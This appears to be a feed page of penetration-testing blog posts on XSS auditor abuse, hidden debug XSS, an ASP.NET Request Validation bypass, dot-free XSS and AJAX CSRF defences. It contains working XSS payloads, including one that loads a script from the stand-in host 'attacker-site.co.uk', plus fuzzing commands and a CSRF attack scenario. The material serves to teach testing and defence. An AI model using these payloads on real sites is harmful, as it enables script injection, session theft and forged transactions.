Normal view

There are new articles available, click to refresh the page.
Before yesterdayWeb App

How to Use X-XSS-Protection for Evil

10 February 2018 at 19:33

Two important headers that can mitigate XSS are:

  • X-XSS-Protection
  • Content-Security-Policy

So what is the difference?

Well browsers such as Internet Explorer and Chrome include an “XSS auditor” which attempts to help prevent reflected XSS from firing. The first header controls that within the browser.

Details are here, but basically the four supported options are:

X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>

It should be noted that the auditor is active by default, unless the user (or their administrator) has disabled it.

Therefore,

X-XSS-Protection: 1

will turn it back on for the user.

The second header, Content Security Policy, is a newer header that controls where an HTML page can load its content from, including JavaScript. Basically including anything other than unsafe-inline as a directive means that injected JavaScript into the page will not execute, and can mitigate both reflected and stored XSS. CSP is a much larger topic than I’m going to cover here, however, detailed information regarding the header can be found here.

What I wanted to show you was the difference between specifying block, and either not including the header at all (which therefore will take on the setting in the browser) or specifying 1 without block. Also, for good measure I will show you the Content Security Policy mitigation for cross-site scripting.

I will show you a way that if a site has specified X-XSS-Protection without block, how this can be abused.

The linked page has the following code in it:

<script>document.write("one potato")</script><br />
<script>document.write("two potato")</script><br />
three potato

Now if we link straight there from the current page you’re reading, the two script blocks should fire:

normal

To demonstrate how the XSS auditors work, let’s imagine we tried to inject that script into the page ourselves by appending this query string:

?xss1=<script>document.write("one potato")</script>&xss2=<script>document.write("two potato")</script>

Note that the following will not work from Firefox, as at the time of writing Firefox doesn’t include any XSS auditor and therefore is very open to reflected XSS should the visited site be vulnerable. There is the add-on noscript that you can use to protect yourself, should Firefox be your browser of choice. Note the following has been tested in Chrome 64 only. I will also enable your XSS filter in supported browsers by adding X-XSS-Protection: 1 to the output.

injected

Note how the browser now thinks that the two script blocks have been injected, and therefore blocks them and only outputs the plain HTML. View source to see the code if you don’t believe it is still there.

Viewing F12 developer tools shows us the auditor has done its stuff:

Chrome F12

Viewing source shows us which script has been blocked in red:

Source code

Now what could an attacker do to abuse the XSS auditor? Well they could manipulate the page to prevent scripts of their choosing to be blocked.

?xss2=<script>document.write("two potato")</script>

abused

Viewing the source shows the attacker has just blocked what they wanted by specifying the source code in the URl:

abused source code

Of course, editing their own link is fruitless, they would have to be passing the link onto their victim(s) in some way by sending it to via email, Facebook, Skype, etc …

What are the risks in this? Well The Web Application Hacker’s Handbook puts it better than I could:

web app hackers handbook quote

So, how can we defend against this? Well, you guessed it, the block directive:

X-XSS-Protection: 1; mode=block

So let’s try this again with that specified:

abused but blocked

So by specifying block we can prevent an attacker from crafting links that neutralise our existing script!

So in summary it is always good to specify block as by default XSS auditors only attempt to block what they think is being injected, which might not actually be the evil script itself.

Content Security Policy then?

Just to demo the difference, if we output a CSP header that prevents inline script and don’t attempt to inject anything:

CSP example image

Chrome shows us this is solely down to Content Security Policy:

csp chrome error

To get round this as site developers we can either specify the SHA-256 hash as described in our CSP, or simply move our code to a separate .js file as long as we white-list self in our policy. Any attacker injecting inline script will be foiled. Of course the problem with Content Security Policy is that it still seems to be an after-thought and trying to come up with a policy that fits an existing site is very hard unless your site is pretty much static. However, it is a great mitigation if done properly. Any weaknesses in the policy though may be ripe for exploitation. Hopefully I’ll have a post on that in the future if I come across it in any engagements.

*Yeh yeh, you’re not using X-XSS-Protection for evil, but lack of block of course, and if no-one has messed with the browser settings it is as though X-XSS-Protection: 1 has been output.

Hidden XSS

3 February 2018 at 15:16

On a recent web test I was having trouble finding any instances of cross-site scripting, which is very unusual.

However, after scanning the site with nikto, some interesting things came up:

$ nikto -h rob-sec-1.com
- ***** RFIURL is not defined in nikto.conf--no RFI tests will run *****
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          193.70.91.5
+ Target Hostname:    rob-sec-1.com
+ Target Port:        80
+ Start Time:         2018-02-03 15:37:18 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ Cookie v created without the httponly flag
+ Root page / redirects to: /?node_id=V0lMTCB5b3UgYmUgcmlja3JvbGxlZD8%3D
+ Server leaks inodes via ETags, header found with file /css, inode: 0x109c8, size: 0x56, mtime: 0x543795d00f180;56450719f9b80
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /css: This might be interesting...
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 4197 items checked: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2018-02-03 15:40:15 (GMT0) (177 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Particularly this:

+ OSVDB-3092: /test/: This might be interesting...

So I navigated to /test/ and saw this at the top of the page:

Test URL in browser

So the page had the usual content, however, there appeared to be some odd text at the top, and because it said NULL this struck me as some debug output that the developers had left in on the production site.

So to find out if this debug output is populated by any query string parameter, we can use wfuzz.

First we need to determine how many bytes come back from the page on a normal request:

$curl 'http://rob-sec-1.com/test/?' 1>/dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    53  100    53    0     0     53      0  0:00:01 --:--:--  0:00:01   289

Here we can see that this is 53. From there, we can configure wfuzz to try different parameter names and then look for any responses that have a size other than 53 characters. Here we’ll use dirb’s common.txt list as a starting point:

$ wfuzz -w /usr/share/wordlists/dirb/common.txt --hh 53 'http://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>'
********************************************************
* Wfuzz 2.2.3 - The Web Fuzzer                         *
********************************************************

Target: HTTP://rob-sec-1.com/test/?FUZZ=<script>alert("xss")</script>
Total requests: 4614

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

02127:  C=200      9 L	       8 W	     84 Ch	  "item"

Total time: 14.93025
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 309.0369

Well, whaddya know, looks like we’ve found the parameter!

Will Smith

Copying /test/?item=<script>alert("xss")</script> into Firefox gives us our alert:

xss

ASP.NET Request Validation Bypass

14 October 2017 at 17:49

…and why you should report it (maybe).

This post is regarding the .NET Request Validation vulnerability, as described here. Note that this is nothing new, but I am still finding the issue prevalent on .NET sites in 2017.

Request Validation is an ASP.NET input filter.

This is designed to protect applications against XSS, even though Microsoft themselves state that it is not secure:

Even if you’re using request validation, you should HTML-encode text that you get from users before you display it on a page.

To me, that seems a bit mad. If you are providing users of your framework with functionality that mitigates XSS, why do users then have to do the one thing that mitigates XSS themselves?

Microsoft should have ensured that all .NET controls properly output things HTML encoded. For example, unless the developer manually output encodes the data in the following example then XSS will be introduced.

<asp:Repeater ID="Repeater2" runat="server">
  <ItemTemplate>
    <%# Eval("YourField") %>
  </ItemTemplate>
</asp:Repeater>

The <%: syntax introduced in .NET 4 was a good move for automatic HTML encoding, although it should have existed from the start.

Now to summarise, normally ASP.NET Request Validation blocks any HTTP request that appears to contain tags. e.g.

example.com/?foo=<b> would result in A potentially dangerous Request.QueryString value was detected from the client error, presented on a nice Yellow Screen of Death.

This is to prevent a user from inserting a <script> tag into user input, or from trying some other form such as <svg onload="alert(1)" />.

However, the flaw in this is that <%tag is allowed. This is a quirky tag that only works in Internet Explorer 9. But ironically not quirks mode, it requires IE9 standards mode so the top of the page must contain this Edit: It works in either mode, however if the page is in quirks mode then it requires user interaction (like mouseover). Example, the existing page can seen to be in quirks mode as it contains the following type definition and meta tag (although in tests only the meta tag seems to be required):

<!doctype html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">

I’ve setup an example here that you can try in IE9. The code is as follows:

<!doctype html>
<html>
<head>
	<meta http-equiv="X-UA-Compatible" content="IE=Edge">
</head>
<body>

	<%tag onmouseover="alert('markitzeroday.com')">Move mouse here

</body>
</html>

Loading your target page in Internet Explorer 9 and then viewing developer tools will show you whether the page is rendered in quirks mode.

Moving the mouse over the text gives our favourite notification from a computer ever - that which proves JavaScript execution has taken place:

XSS Proof

Edit: Actually this does work in quirks mode too using a CSS vector and no document type declaration:

<html>
<head>
</head>
<body>

        <%tag style="xss:expression(alert('markitzeroday.com'))">And you don't even have to mouseover

</body>
</html>

Example Warning: This is a trap, and you may need to hold escape to well… escape.

Now, you should report this in your pentest or bug bounty reports if you can prove JavaScript execution in IE9, either stored or reflected. Unfortunately it is not enough to bypass Request Validation in itself as XSS is an output vulnerability, not an input one.

Note that it is important that this is reported, even though it affects Internet Explorer 9 only. The reasons are as follows:

  • Some organisations are “stuck” on old versions of Internet Explorer for compatibility reasons. Their IT department will not upgrade the browsers network wide as a piece of software bought in 2011 for £150,000 will not run on anything else.
  • By getting XSS with one browser version, you are proving that adequate output encoding is not in place. This shows the application is vulnerable should it also use data from other sources. e.g. User input from a database shared with a non ASP.NET app, or an app that is written properly as not to rely on ASP.NET Request Validation.
    • Granted you can only test inputs from your “in-scope” applications and prove that those inputs have a vulnerable sink when output elsewhere, although chances are that if one part of the application is vulnerable then other parts will be and you can alert your client to this possibility quite literally.

Note also that Request Validation inhibits functionality. Much like my post on functional flaws vs security flaws, preventing a user from entering certain characters and then resolving this by issuing an HTTP 500 response results in a broken app. If such character sequences are not allowed, you should alert the user in a friendly way and give them chance to fix it first, even if this is only client-side validation. Also any automated processes that may include <stuff that it POSTs or GETs to your application may unexpectedly fail.

The thing that Microsoft got wrong with Request Validation is that XSS it an output problem, not an input problem. The Microsoft article linked above is still confused about this:

If you disable request validation, you must check the user input yourself for dangerous HTML or JavaScript.

Of course, if you want a highly secure site as your risk appetite is low, then do validate user input. Don’t let non alphanumeric characters be entered if they are not needed. However, the primary mitigation for XSS is output encoding. This is the act of changing characters like < to &lt;. Then it doesn’t matter if this is output to your page as the browser won’t execute it and therefore no XSS.

So as a pentester, report it if IE9 shows the alert, even if IE9 should be killed with fire. As a developer, turn Request Validation off and develop your application to HTML encode everywhere (don’t output into JavaScript directly - just don’t). If you need “extra” security, prevent non alphanumerics from being inserted into fields yourself through server-side validation.

XSS Without Dots

26 July 2017 at 20:02

A recent site that I pentested was echoing everything on the query string and POST data into a <div> tag.

e.g. example.php?monkey=banana gave

<div>
monkey => banana
</div>

I’m guessing this was for debugging reasons. So an easy XSS with

example.php?<script>alert(1)</script> gave

<div>
<script>alert(1)</script>
</div>

So I thought rather than just echoing 1 or xss I’d output the current cookie as a simple POC.

However, things weren’t as they seemed:

example.php?<script>alert(document.cookie)</script> gave

<div>
<script>alert(document_cookie)</script>
</div>

Underscore!? Oh well, I’ll just use an accessor to access the property:

example.php?<script>alert(document['cookie'])</script>. Nope:

<div>
<script>alert(document[
</div>

So thought the answer was to host the script on a remote domain:

example.php?<script src="//attacker-site.co.uk/sc.js"></script>:

<div>
<script_src="//attacker-site_co_uk/sc_js"></script>
</div>

Doh! Two problems….

A quick Google gave the answer to use %0C for the space:

example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>

And then to get the dots, we can simply HTML encode them as we are in an HTML context:

example.php?<script%0Csrc="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>

which percent encoded is of course

example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>

And this delivered the goods:

<div>
<script src="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>
</div>

which the browser reads as

<script src="//attacker-site.co.uk/sc.js"></script>

And dutifully delivers our message box:

Alert

CSRF Mitigation for AJAX Requests

29 June 2017 at 11:34

To start with, a quick recap on what Cross-Site Request Forgery is:

  1. User is logged into their bank’s website: https://example.com.
  2. The bank website has a “money transfer” function: https://example.com/manage_money/transfer.do.
  3. The “money transfer” function accepts the following POST parameters: toAccount and amount.
  4. While logged into https://example.com the user receives an email from a person they think is their friend.
  5. The user clicks the link inside the email to access a cat video: https://attacker-site.co.uk/cats.htm.
  6. cats.htm whilst displaying said cat video, also makes a client-side AJAX request to https://example.com/manage_money/transfer.do POSTing the values toAccount=1234 and amount=100 transferring £100 to the attacker’s account from the victim.

Quick POC here that only POSTs to example.com and not your bank. Hopefully your bank already has CSRF mitigation in place. View source, developer console and Burp or Fiddler are your friends.

There’s a common misconception that websites can’t make cross-domain requests to other domains due to the Same Origin Policy. This could be due to the following being displayed within the browser console:

CORS Error

However, this is not the case. The request has been made, the browser message is telling you that the current origin (https://attacker-site.co.uk) simply cannot read any of the returned data from the cross-domain request. However, unlike an XSS attack, it doesn’t need to. The request has been made, and because the user is logged into the bank so therefore has a session cookie, this session cookie has been passed to the bank site authorising the transaction.

Quick Demo

Simulate the bank issuing a session cookie by creating our own in the browser:

Cookie Setup

Note we’ll set the Secure flag and HTTPOnly flags to show these have no effect on CSRF.

Visit the website:

Attacker Site CATS!

The following request is sent, note our session cookie is included:

Burp Request

Therefore as far as the web application is concerned, this is a legitimate request from the user to transfer the money despite the browser returning Cross-Origin Request Blocked. Only the response is blocked, not the original request.

AJAX Mitigation

If the target application has no CSRF mitigation in place, the above works for both AJAX requests and traditional form POSTs. This can be mitigated using the traditionally recommended Synchronizer Token Pattern. This involves creating a random, unpredictable token (in addition to the session token held in the cookie) and storing this server-side as a session variable. When a POST is made, this anti-CSRF token is also sent, but using any mechanism apart from cookies. This means that the anti-CSRF token will not be automatically included from the browser should the user follow a dodgy link that makes its own cross-domain request. CSRF averted.

But what if there was another way? One little known way is to include a custom header, such as X-Requested-With, as I answered here.

Basically:

  1. Set the custom header in every AJAX request that changes server-side state of the application. e.g. X-Requested-With: XmlHttpRequest.
  2. In each server-side method handler, ensure a CSRF check function is called.
  3. The CSRF function examines the HTTP request and checks that X-Requested-With: XmlHttpRequest is present as a header.
  4. If it is, it is allowed. If it isn’t, send an HTTP 403 response and log this server-side.

Many JavaScript frameworks such as JQuery will automatically send this header along with any AJAX requests. This header cannot be sent cross-domain:

  1. Any attempt to do so with a modern browser will trigger a CORS preflight request.
  2. Older browsers (think IE 8 and 9) can send cross-domain requests, but custom headers are not supported at all.
  3. Very old browsers cannot send cross-domain AJAX requests at all.

What is a Preflight?

So referring to the above old browsers couldn’t make cross-domain requests at all via AJAX. Therefore, you may get an old website that does check for a custom header server-side so that it knows it is an AJAX request. Now, the web is developed on the basis of “no breaking changes”. Therefore any new technologies introduced into the browser should not force websites to have to update themselves to continue working (why not visit the World Wide Web - apparently the world’s first website). This goes for functionality as well as security.

Therefore, suddenly allowing browsers to send cross-domain headers could break security if a site relies on this for CSRF mitigation. This scenario covers both points 2 and 3.

So that leaves 1, CORS (Cross-Origin Resource Sharing). CORS is a mechanism that weakens security. Its aim is to allow sites that trust one another to break the Same Origin Policy and read each others responses. e.g. api.example.org might allow example.org to make a cross-domain request and read the response in the browser, using the user’s session cookie as authorisation.

In a nutshell CORS does not prevent anything that used to be possible from happening. An example is a cross domain post using <form method="post"> has always been allowed, so therefore CORS allows any AJAX request that results in a previously possible HTTP request to be made, without a preflight request. This is because this has always been possible on the web and allowing AJAX to do this as well does not introduce any extra risk. However, a request with custom headers causes the browser to automatically send a request to the endpoint using the OPTIONS verb. If the server-side application recognises the OPTIONS request (i.e. it is CORS aware), it will reply with a header showing which headers will be allowed from the calling domain.

Here you can see the attempt to send X-Requested-With in a cross-domain POST results in an OPTIONS request requesting this header be allowed, rather than the actual request. This is the preflight.

OPTIONS verb

If the server-side is not explicitly configured to allow this (i.e. no Access-Control-Allow-Origin to allow the domain and no Access-Control-Allow-Headers to allow the custom header):

OPTIONS response

The header is not allowed because our example.com domain is not configured for CORS.

Therefore if CORS is not allowing the attacker’s domain to send extra headers, this mitigates CSRF.

Will This Work?

What To Look For When Pentesting

The above will only work if the server-side application is verifying that the custom header X-Requested-With is received in the request. As a pentester you should verify that all potentially discovered CSRF vulnerabilities are actually exploitable. Burp Suite allows this via right clicking an item then clicking Engagement tools > Create CSRF PoC. This may result in two things:

  1. If you weren’t aware of the above, you may find a POST request that first appeared vulnerable to CSRF (due to no tokens) however isn’t due to header checking.
  2. If, after having read this post, you find that an AJAX request is sending X-Requested-With: XmlHttpRequest you may find that removing this header still causes the “unsafe” action to take place server-side, therefore the request is vulnerable.

What To Do As A Developer

This may be a good short-cut if your server-side language of choice does not support server-side variables or if you do not want the extra overhead of storing an additional token per user session. However, make sure that the presence of the HTTP request header is verified for every handler that makes a change of state to your application. Aka, “unsafe” requests as defined by the RFC.

Remember, this only works for AJAX requests. If your application has to fall-back to full HTML requests if JavaScript is disabled, then this will not work for you. Custom headers cannot be sent via <form> tags.

Conclusion

This is a useful, easy to implement mitigation for CSRF. Although an attacker can easily add a custom header themselves (e.g. using Burp Suite), they can only do this to their own requests, not those of the victim as required in a client-side attack. There were vulnerabilities in Flash that allowed a custom-header to be added to a cross-domain request to another attacker’s site that set crossdomain.xml. Unlike HTML, Flash requires a crossdomain.xml file for any request, even those that are write only, such as CSRF. The trick here was for the attacker to issue a 307 HTTP redirect to redirect from their second attacker domain to the victim website. The bug in Flash carried over the custom header from the original request. However, as Flash is moribund, and this was a bug, I would say it is generally safe for most sites to rely on the presence of the header as a mitigation. However, if the risk appetite is low for the application in question, go with token mitigation instead of or as well: Defence-In-Depth.

Note that the Flash bug was fixed back in 2015.

A Journey Combining Web Hacking and Binary Exploitation in Real World!

24 February 2021 at 07:00
Hi, this blog post is just a short post to address the technique part in one of my Red Team cases last year. I believe it's worth sharing, so I reproduced this in my lab environment and made this topic. This topic is also presented in RealWorld CTF Live Forum&nbsp;and&nbsp;OWASP Hong Kong 2021 Techday. It's also on YouTube now! Although it is speaking in Mandarin, the slides and subtitles are

DNS reconnaissance against wildcard domains

29 June 2022 at 12:06
I recently did a test against a company and in the debrief they asked how I managed to enumerate so many of their subdomains as they were using a wildcard DNS setup and the previous tester had commented that it prevented DNS enumeration. When I explained to them how the wildcard only obscured valid domains they had a few choice words for the previous tester and I figured it would make a nice little blog post.

A copy of my slides from OWASP Leeds covering the perils of autoconfiguring web cams with a bonus set presenting 'Whats in Amazon's buckets'

29 June 2022 at 12:06
The story of how I analysed a new IP web camera and found how it automatically tried to punch a hole through my firewall and register itself with dynamic DNS server to tell the world it was there. The slides also contain a bonus talk covering my blog post and project on 'Whats in Amazon's buckets'
❌
❌